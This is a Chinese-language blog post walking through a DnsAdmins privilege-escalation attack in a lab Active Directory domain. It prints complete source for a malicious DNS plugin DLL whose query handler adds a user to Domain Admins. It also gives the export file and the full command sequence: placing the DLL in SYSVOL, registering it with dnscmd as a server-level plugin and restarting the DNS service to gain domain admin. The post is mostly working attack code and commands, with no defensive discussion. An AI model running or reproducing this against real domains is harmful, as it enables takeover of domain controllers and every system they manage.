域内一个特权提升技巧

域内一个特权提升技巧

0x01.背景

​ 实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。
​ 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\windows\system32\dns.exe,创建Rpc接口,使用\PIPE\DNSSERVER命名管道进行传输。

​ DNS服务默认ACL 如下图:

1

​ DNS.exe 默认启动权限为NT AUTHORITY\SYSTEM

2

0x02、过程

0x0201 dll文件编译:

dll源码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。

\#include "pch.h"

DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2)
{
    return 0;
}

DWORD WINAPI DnsPluginCleanup()
{
    return 0;
}

DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4)
{
    WinExec("net group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL);
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

导出函数,Source.def文件:

EXPORTS
DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery

编译后查看导出函数是否正确:

3

0x0202 特权提升:

​ 首先找到Dnsadmins

net user sixth-hospital /domain

4

将dll 复制到sysvol

copy Dlldns.dll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts

使用当前用户列举AD c盘

dir \\WIN-43QM2N9GRC4.hackhello.local\c$

5

执行dnscmd 配置调用dll

dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \\WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll

6

此时查看dc注册表,已经配置好了dll路径。

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters

7

重启dns

sc stop dns

sc start dns

12

重启完服务后再执行net命令

net user sixth-hospital /domain

9

可以看到已经成功将Dnsadmins用户提升至域管理员权限

我们列下c盘符下文件

10

  • 发表于 2021-04-07 20:33:40
  • 阅读 ( 6892 )
  • 分类:内网渗透

0 条评论

请先 登录 后评论
带头大哥
带头大哥

50 篇文章

站长统计